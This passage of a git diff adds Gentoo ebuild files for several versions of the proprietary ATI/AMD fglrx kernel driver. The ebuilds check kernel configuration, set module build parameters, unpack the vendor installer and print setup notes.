+		eerror "    CONFIG_PCI_MSI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Bus options (PCI etc.)  --->"
+		eerror "        [*] Message Signaled Interrupts (MSI and MSI-X)"
+		eerror "in the kernel config."
+		error+=" CONFIG_PCI_MSI disabled;"
+		failed=1
+	fi
+
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol lock_acquire as GPL-only."
+		eerror "This prevents ${P} from compiling with an error like this:"
+		eerror "FATAL: modpost: GPL-incompatible module fglrx.ko uses GPL-only symbol 'lock_acquire'"
+		eerror "Please make sure the following options have been unset:"
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		error+=" LOCKDEP enabled;"
+		failed=1
+	fi
+
+	use amd64 && if ! linux_chkconfig_present COMPAT; then
+		eerror "${P} requires COMPAT."
+		eerror "Please enable the 32 bit emulation:"
+		eerror "Executable file formats / Emulations  --->"
+		eerror "    [*] IA32 Emulation"
+		eerror "in the kernel config."
+		eerror "if this doesn't enable CONFIG_COMPAT add"
+		eerror "    CONFIG_COMPAT=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" COMPAT disabled;"
+		failed=1
+	fi
+
+	kernel_is ge 2 6 37 && kernel_is le 2 6 38 && if ! linux_chkconfig_present BKL ; then
+		eerror "${P} requires BKL."
+		eerror "Please enable the Big Kernel Lock:"
+		eerror "Kernel hacking  --->"
+		eerror "    [*] Big Kernel Lock"
+		eerror "in the kernel config."
+		eerror "or add"
+		eerror "    CONFIG_BKL=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" BKL disabled;"
+		failed=1
+	fi
+
+	[[ ${failed} -ne 0 ]] && die "${error}"
+}
+
+pkg_pretend() {
+	# workaround until bug 365543 is solved
+	linux-info_pkg_setup
+	require_configured_kernel
+	_check_kernel_config
+}
+
+pkg_setup() {
+	MODULE_NAMES="fglrx(video:${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod/2.6.x)"
+	BUILD_TARGETS="kmod_build"
+	linux-mod_pkg_setup
+	BUILD_PARAMS="GCC_VER_MAJ=$(gcc-major-version) KVER=${KV_FULL} KDIR=${KV_DIR}"
+	BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=\"-DMODULE -DATI -DFGL\""
+	if grep -q arch_compat_alloc_user_space ${KV_DIR}/arch/x86/include/asm/compat.h ; then
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=arch_compat_alloc_user_space"
+	else
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=compat_alloc_user_space"
+	fi
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+
+	# Define module dir.
+	MODULE_DIR="${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod"
+
+	elog
+	elog "Please note that this driver supports only graphic cards based on"
+	elog "r600 chipset and newer."
+	elog "This represent the ATI Radeon HD series at this moment."
+	elog
+	elog "If your card is older then usage of ${CATEGORY}/xf86-video-ati"
+	elog "as replacement is highly recommended. Rather than staying with"
+	elog "old versions of this driver."
+	elog "For migration informations please reffer to:"
+	elog "http://www.gentoo.org/proj/en/desktop/x/x11/ati-migration-guide.xml"
+	einfo
+}
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"  2&>1 /dev/null
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# version patches
+	# epatch "${FILESDIR}"/kernel/${PV}-*.patch
+	if use debug; then
+		sed -i '/^#define DRM_DEBUG_CODE/s/0/1/' \
+			"${MODULE_DIR}/firegl_public.c" \
+			|| die "Failed to enable debug output."
+	fi
+
+	cd "${MODULE_DIR}"
+	# bugged fglrx build system, this file should be copied by hand
+	cp "${ARCH_DIR}"/lib/modules/fglrx/build_mod/libfglrx_ip.a 2.6.x
+
+	convert_to_m 2.6.x/Makefile || die "convert_to_m failed"
+
+	# When built with ati's make.sh it defines a bunch of macros if
+	# certain .config values are set, falling back to less reliable
+	# detection methods if linux/autoconf.h is not available. We
+	# simply use the linux/autoconf.h settings directly, bypassing the
+	# detection script.
+	sed -i -e 's/__SMP__/CONFIG_SMP/' *.c *h || die "SMP sed failed"
+	sed -i -e 's/ifdef MODVERSIONS/ifdef CONFIG_MODVERSIONS/' *.c *.h \
+		|| die "MODVERSIONS sed failed"
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	linux-mod_src_compile
+}
+
+src_install() {
+	linux-mod_src_install
+}
+
+pkg_postinst() {
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	linux-mod_pkg_postinst
+}
+
+pkg_preinst() {
+	linux-mod_pkg_preinst
+}
+
+pkg_postrm() {
+	linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/ati-drivers/ati-drivers-11.11.ebuild b/x11-drivers/ati-drivers/ati-drivers-11.11.ebuild
new file mode 100644
index 00000000..d009c8c1
--- /dev/null
+++ b/x11-drivers/ati-drivers/ati-drivers-11.11.ebuild
@@ -0,0 +1,233 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils multilib linux-info linux-mod toolchain-funcs versionator
+
+DESCRIPTION="AMD kernel drivers for r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://ati.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="multilib? ( ~x11-drivers/ati-userspace-${PV}[multilib] )
+	~x11-drivers/ati-userspace-${PV}
+	sys-power/acpid"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+_check_kernel_config() {
+	local failed=0
+	local error=""
+	if ! kernel_is ge 2 6; then
+		eerror "You need a 2.6 linux kernel to compile against!"
+		die "No 2.6 Kernel found"
+	fi
+
+	if ! linux_chkconfig_present MTRR; then
+		ewarn "You don't have MTRR support enabled in the kernel."
+		ewarn "Direct rendering will not work."
+	fi
+
+	if linux_chkconfig_builtin DRM; then
+		ewarn "You have DRM support built in to the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present AGP && \
+		! linux_chkconfig_present PCIEPORTBUS; then
+		ewarn "You don't have AGP and/or PCIe support enabled in the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present ACPI; then
+		eerror "${P} requires the ACPI support in the kernel"
+		eerror "Please enable it:"
+		eerror "    CONFIG_ACPI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Power management and ACPI options --->"
+		eerror "        [*] Power Management support"
+		eerror "in the 'menuconfig'"
+		error+=" CONFIG_ACPI disabled;"
+		failed=1
+	fi
+
+	if ! linux_chkconfig_present PCI_MSI; then
+		eerror "${P} requires MSI in the kernel."
+		eerror "Please enable it:"
+		eerror "    CONFIG_PCI_MSI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Bus options (PCI etc.)  --->"
+		eerror "        [*] Message Signaled Interrupts (MSI and MSI-X)"
+		eerror "in the kernel config."
+		error+=" CONFIG_PCI_MSI disabled;"
+		failed=1
+	fi
+
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol lock_acquire as GPL-only."
+		eerror "This prevents ${P} from compiling with an error like this:"
+		eerror "FATAL: modpost: GPL-incompatible module fglrx.ko uses GPL-only symbol 'lock_acquire'"
+		eerror "Please make sure the following options have been unset:"
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		error+=" LOCKDEP enabled;"
+		failed=1
+	fi
+
+	use amd64 && if ! linux_chkconfig_present COMPAT; then
+		eerror "${P} requires COMPAT."
+		eerror "Please enable the 32 bit emulation:"
+		eerror "Executable file formats / Emulations  --->"
+		eerror "    [*] IA32 Emulation"
+		eerror "in the kernel config."
+		eerror "if this doesn't enable CONFIG_COMPAT add"
+		eerror "    CONFIG_COMPAT=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" COMPAT disabled;"
+		failed=1
+	fi
+
+	kernel_is ge 2 6 37 && kernel_is le 2 6 38 && if ! linux_chkconfig_present BKL ; then
+		eerror "${P} requires BKL."
+		eerror "Please enable the Big Kernel Lock:"
+		eerror "Kernel hacking  --->"
+		eerror "    [*] Big Kernel Lock"
+		eerror "in the kernel config."
+		eerror "or add"
+		eerror "    CONFIG_BKL=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" BKL disabled;"
+		failed=1
+	fi
+
+	[[ ${failed} -ne 0 ]] && die "${error}"
+}
+
+pkg_pretend() {
+	# workaround until bug 365543 is solved
+	linux-info_pkg_setup
+	require_configured_kernel
+	_check_kernel_config
+}
+
+pkg_setup() {
+	MODULE_NAMES="fglrx(video:${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod/2.6.x)"
+	BUILD_TARGETS="kmod_build"
+	linux-mod_pkg_setup
+	BUILD_PARAMS="GCC_VER_MAJ=$(gcc-major-version) KVER=${KV_FULL} KDIR=${KV_DIR}"
+	BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=\"-DMODULE -DATI -DFGL\""
+	if grep -q arch_compat_alloc_user_space ${KV_DIR}/arch/x86/include/asm/compat.h ; then
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=arch_compat_alloc_user_space"
+	else
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=compat_alloc_user_space"
+	fi
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+
+	# Define module dir.
+	MODULE_DIR="${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod"
+
+	elog
+	elog "Please note that this driver supports only graphic cards based on"
+	elog "r600 chipset and newer."
+	elog "This represent the ATI Radeon HD series at this moment."
+	elog
+	elog "If your card is older then usage of ${CATEGORY}/xf86-video-ati"
+	elog "as replacement is highly recommended. Rather than staying with"
+	elog "old versions of this driver."
+	elog "For migration informations please reffer to:"
+	elog "http://www.gentoo.org/proj/en/desktop/x/x11/ati-migration-guide.xml"
+	einfo
+}
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"  2&>1 /dev/null
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# version patches
+	# epatch "${FILESDIR}"/kernel/${PV}-*.patch
+	if use debug; then
+		sed -i '/^#define DRM_DEBUG_CODE/s/0/1/' \
+			"${MODULE_DIR}/firegl_public.c" \
+			|| die "Failed to enable debug output."
+	fi
+
+	cd "${MODULE_DIR}"
+	# bugged fglrx build system, this file should be copied by hand
+	cp "${ARCH_DIR}"/lib/modules/fglrx/build_mod/libfglrx_ip.a 2.6.x
+
+	convert_to_m 2.6.x/Makefile || die "convert_to_m failed"
+
+	# When built with ati's make.sh it defines a bunch of macros if
+	# certain .config values are set, falling back to less reliable
+	# detection methods if linux/autoconf.h is not available. We
+	# simply use the linux/autoconf.h settings directly, bypassing the
+	# detection script.
+	sed -i -e 's/__SMP__/CONFIG_SMP/' *.c *h || die "SMP sed failed"
+	sed -i -e 's/ifdef MODVERSIONS/ifdef CONFIG_MODVERSIONS/' *.c *.h \
+		|| die "MODVERSIONS sed failed"
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	linux-mod_src_compile
+}
+
+src_install() {
+	linux-mod_src_install
+}
+
+pkg_postinst() {
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	linux-mod_pkg_postinst
+}
+
+pkg_preinst() {
+	linux-mod_pkg_preinst
+}
+
+pkg_postrm() {
+	linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/ati-drivers/ati-drivers-11.12.ebuild b/x11-drivers/ati-drivers/ati-drivers-11.12.ebuild
new file mode 100644
index 00000000..d009c8c1
--- /dev/null
+++ b/x11-drivers/ati-drivers/ati-drivers-11.12.ebuild
@@ -0,0 +1,233 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils multilib linux-info linux-mod toolchain-funcs versionator
+
+DESCRIPTION="AMD kernel drivers for r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://ati.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="multilib? ( ~x11-drivers/ati-userspace-${PV}[multilib] )
+	~x11-drivers/ati-userspace-${PV}
+	sys-power/acpid"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+_check_kernel_config() {
+	local failed=0
+	local error=""
+	if ! kernel_is ge 2 6; then
+		eerror "You need a 2.6 linux kernel to compile against!"
+		die "No 2.6 Kernel found"
+	fi
+
+	if ! linux_chkconfig_present MTRR; then
+		ewarn "You don't have MTRR support enabled in the kernel."
+		ewarn "Direct rendering will not work."
+	fi
+
+	if linux_chkconfig_builtin DRM; then
+		ewarn "You have DRM support built in to the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present AGP && \
+		! linux_chkconfig_present PCIEPORTBUS; then
+		ewarn "You don't have AGP and/or PCIe support enabled in the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present ACPI; then
+		eerror "${P} requires the ACPI support in the kernel"
+		eerror "Please enable it:"
+		eerror "    CONFIG_ACPI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Power management and ACPI options --->"
+		eerror "        [*] Power Management support"
+		eerror "in the 'menuconfig'"
+		error+=" CONFIG_ACPI disabled;"
+		failed=1
+	fi
+
+	if ! linux_chkconfig_present PCI_MSI; then
+		eerror "${P} requires MSI in the kernel."
+		eerror "Please enable it:"
+		eerror "    CONFIG_PCI_MSI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Bus options (PCI etc.)  --->"
+		eerror "        [*] Message Signaled Interrupts (MSI and MSI-X)"
+		eerror "in the kernel config."
+		error+=" CONFIG_PCI_MSI disabled;"
+		failed=1
+	fi
+
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol lock_acquire as GPL-only."
+		eerror "This prevents ${P} from compiling with an error like this:"
+		eerror "FATAL: modpost: GPL-incompatible module fglrx.ko uses GPL-only symbol 'lock_acquire'"
+		eerror "Please make sure the following options have been unset:"
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		error+=" LOCKDEP enabled;"
+		failed=1
+	fi
+
+	use amd64 && if ! linux_chkconfig_present COMPAT; then
+		eerror "${P} requires COMPAT."
+		eerror "Please enable the 32 bit emulation:"
+		eerror "Executable file formats / Emulations  --->"
+		eerror "    [*] IA32 Emulation"
+		eerror "in the kernel config."
+		eerror "if this doesn't enable CONFIG_COMPAT add"
+		eerror "    CONFIG_COMPAT=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" COMPAT disabled;"
+		failed=1
+	fi
+
+	kernel_is ge 2 6 37 && kernel_is le 2 6 38 && if ! linux_chkconfig_present BKL ; then
+		eerror "${P} requires BKL."
+		eerror "Please enable the Big Kernel Lock:"
+		eerror "Kernel hacking  --->"
+		eerror "    [*] Big Kernel Lock"
+		eerror "in the kernel config."
+		eerror "or add"
+		eerror "    CONFIG_BKL=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" BKL disabled;"
+		failed=1
+	fi
+
+	[[ ${failed} -ne 0 ]] && die "${error}"
+}
+
+pkg_pretend() {
+	# workaround until bug 365543 is solved
+	linux-info_pkg_setup
+	require_configured_kernel
+	_check_kernel_config
+}
+
+pkg_setup() {
+	MODULE_NAMES="fglrx(video:${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod/2.6.x)"
+	BUILD_TARGETS="kmod_build"
+	linux-mod_pkg_setup
+	BUILD_PARAMS="GCC_VER_MAJ=$(gcc-major-version) KVER=${KV_FULL} KDIR=${KV_DIR}"
+	BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=\"-DMODULE -DATI -DFGL\""
+	if grep -q arch_compat_alloc_user_space ${KV_DIR}/arch/x86/include/asm/compat.h ; then
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=arch_compat_alloc_user_space"
+	else
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=compat_alloc_user_space"
+	fi
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+
+	# Define module dir.
+	MODULE_DIR="${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod"
+
+	elog
+	elog "Please note that this driver supports only graphic cards based on"
+	elog "r600 chipset and newer."
+	elog "This represent the ATI Radeon HD series at this moment."
+	elog
+	elog "If your card is older then usage of ${CATEGORY}/xf86-video-ati"
+	elog "as replacement is highly recommended. Rather than staying with"
+	elog "old versions of this driver."
+	elog "For migration informations please reffer to:"
+	elog "http://www.gentoo.org/proj/en/desktop/x/x11/ati-migration-guide.xml"
+	einfo
+}
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"  2&>1 /dev/null
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# version patches
+	# epatch "${FILESDIR}"/kernel/${PV}-*.patch
+	if use debug; then
+		sed -i '/^#define DRM_DEBUG_CODE/s/0/1/' \
+			"${MODULE_DIR}/firegl_public.c" \
+			|| die "Failed to enable debug output."
+	fi
+
+	cd "${MODULE_DIR}"
+	# bugged fglrx build system, this file should be copied by hand
+	cp "${ARCH_DIR}"/lib/modules/fglrx/build_mod/libfglrx_ip.a 2.6.x
+
+	convert_to_m 2.6.x/Makefile || die "convert_to_m failed"
+
+	# When built with ati's make.sh it defines a bunch of macros if
+	# certain .config values are set, falling back to less reliable
+	# detection methods if linux/autoconf.h is not available. We
+	# simply use the linux/autoconf.h settings directly, bypassing the
+	# detection script.
+	sed -i -e 's/__SMP__/CONFIG_SMP/' *.c *h || die "SMP sed failed"
+	sed -i -e 's/ifdef MODVERSIONS/ifdef CONFIG_MODVERSIONS/' *.c *.h \
+		|| die "MODVERSIONS sed failed"
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	linux-mod_src_compile
+}
+
+src_install() {
+	linux-mod_src_install
+}
+
+pkg_postinst() {
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	linux-mod_pkg_postinst
+}
+
+pkg_preinst() {
+	linux-mod_pkg_preinst
+}
+
+pkg_postrm() {
+	linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/ati-drivers/ati-drivers-11.6.ebuild b/x11-drivers/ati-drivers/ati-drivers-11.6.ebuild
new file mode 100644
index 00000000..5ff0deb1
--- /dev/null
+++ b/x11-drivers/ati-drivers/ati-drivers-11.6.ebuild
@@ -0,0 +1,236 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils multilib linux-info linux-mod toolchain-funcs versionator
+
+DESCRIPTION="AMD kernel drivers for r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://ati.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="multilib? ( ~x11-drivers/ati-userspace-${PV}[multilib] )
+	~x11-drivers/ati-userspace-${PV}"
+DEPEND="${RDEPEND}
+	sys-power/acpid"
+
+S="${WORKDIR}"
+
+_check_kernel_config() {
+	local failed=0
+	local error=""
+	if ! kernel_is ge 2 6; then
+		eerror "You need a 2.6 linux kernel to compile against!"
+		die "No 2.6 Kernel found"
+	fi
+
+	if ! linux_chkconfig_present MTRR; then
+		ewarn "You don't have MTRR support enabled in the kernel."
+		ewarn "Direct rendering will not work."
+	fi
+
+	if linux_chkconfig_builtin DRM; then
+		ewarn "You have DRM support built in to the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present AGP && \
+		! linux_chkconfig_present PCIEPORTBUS; then
+		ewarn "You don't have AGP and/or PCIe support enabled in the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present ACPI; then
+		eerror "${P} requires the ACPI support in the kernel"
+		eerror "Please enable it:"
+		eerror "    CONFIG_ACPI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Power management and ACPI options --->"
+		eerror "        [*] Power Management support"
+		eerror "in the 'menuconfig'"
+		error+=" CONFIG_ACPI disabled;"
+		failed=1
+	fi
+
+	if ! linux_chkconfig_present PCI_MSI; then
+		eerror "${P} requires MSI in the kernel."
+		eerror "Please enable it:"
+		eerror "    CONFIG_PCI_MSI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Bus options (PCI etc.)  --->"
+		eerror "        [*] Message Signaled Interrupts (MSI and MSI-X)"
+		eerror "in the kernel config."
+		error+=" CONFIG_PCI_MSI disabled"
+		failed=1
+	fi
+
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol lock_acquire as GPL-only."
+		eerror "This prevents ${P} from compiling with an error like this:"
+		eerror "FATAL: modpost: GPL-incompatible module fglrx.ko uses GPL-only symbol 'lock_acquire'"
+		eerror "Please make sure the following options have been unset:"
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		error+=" LOCKDEP enabled"
+		failed=1
+	fi
+
+	use amd64 && if ! linux_chkconfig_present COMPAT; then
+		eerror "${P} requires COMPAT."
+		eerror "Please enable the 32 bit emulation:"
+		eerror "Executable file formats / Emulations  --->"
+		eerror "    [*] IA32 Emulation"
+		eerror "in the kernel config."
+		eerror "if this doesn't enable CONFIG_COMPAT add"
+		eerror "    CONFIG_COMPAT=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" COMPAT disabled"
+		failed=1
+	fi
+
+	kernel_is le 2 6 38 && kernel_is ge 2 6 37 && if ! linux_chkconfig_present BKL ; then
+		eerror "${P} requires BKL."
+		eerror "Please enable the Big Kernel Lock:"
+		eerror "Kernel hacking  --->"
+		eerror "    [*] Big Kernel Lock"
+		eerror "in the kernel config."
+		eerror "or add"
+		eerror "    CONFIG_BKL=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" BKL disabled"
+		failed=1
+	fi
+
+	[ ${failed} -ne 0 ] && die "${error}"
+}
+
+pkg_pretend() {
+	# workaround until bug 365543 is solved
+	linux-info_pkg_setup
+	require_configured_kernel
+	_check_kernel_config
+}
+
+pkg_setup() {
+	MODULE_NAMES="fglrx(video:${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod/2.6.x)"
+	BUILD_TARGETS="kmod_build"
+	linux-mod_pkg_setup
+	BUILD_PARAMS="GCC_VER_MAJ=$(gcc-major-version) KVER=${KV_FULL} KDIR=${KV_DIR}"
+	BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=\"-DMODULE -DATI -DFGL\""
+	if grep -q arch_compat_alloc_user_space ${KV_DIR}/arch/x86/include/asm/compat.h ; then
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=arch_compat_alloc_user_space"
+	else
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=compat_alloc_user_space"
+	fi
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+
+	# Define module dir.
+	MODULE_DIR="${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod"
+
+	elog
+	elog "Please note that this driver supports only graphic cards based on"
+	elog "r600 chipset and newer."
+	elog "This represent the ATI Radeon HD series at this moment."
+	elog
+	elog "If your card is older then usage of ${CATEGORY}/xf86-video-ati"
+	elog "as replacement is highly recommended. Rather than staying with"
+	elog "old versions of this driver."
+	elog "For migration informations please reffer to:"
+	elog "http://www.gentoo.org/proj/en/desktop/x/x11/ati-migration-guide.xml"
+	einfo
+}
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"  2&>1 /dev/null
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# version patches
+	# epatch "${FILESDIR}"/kernel/${PV}-*.patch
+	if use debug; then
+		sed -i '/^#define DRM_DEBUG_CODE/s/0/1/' \
+			"${MODULE_DIR}/firegl_public.c" \
+			|| die "Failed to enable debug output."
+	fi
+
+	cd "${MODULE_DIR}"
+	# bugged fglrx build system, this file should be copied by hand
+	cp "${ARCH_DIR}"/lib/modules/fglrx/build_mod/libfglrx_ip.a 2.6.x
+
+	# Add 2.6.39 support
+	epatch "${FILESDIR}"/ati-drivers-2.6.39.patch
+
+	convert_to_m 2.6.x/Makefile || die "convert_to_m failed"
+
+	# When built with ati's make.sh it defines a bunch of macros if
+	# certain .config values are set, falling back to less reliable
+	# detection methods if linux/autoconf.h is not available. We
+	# simply use the linux/autoconf.h settings directly, bypassing the
+	# detection script.
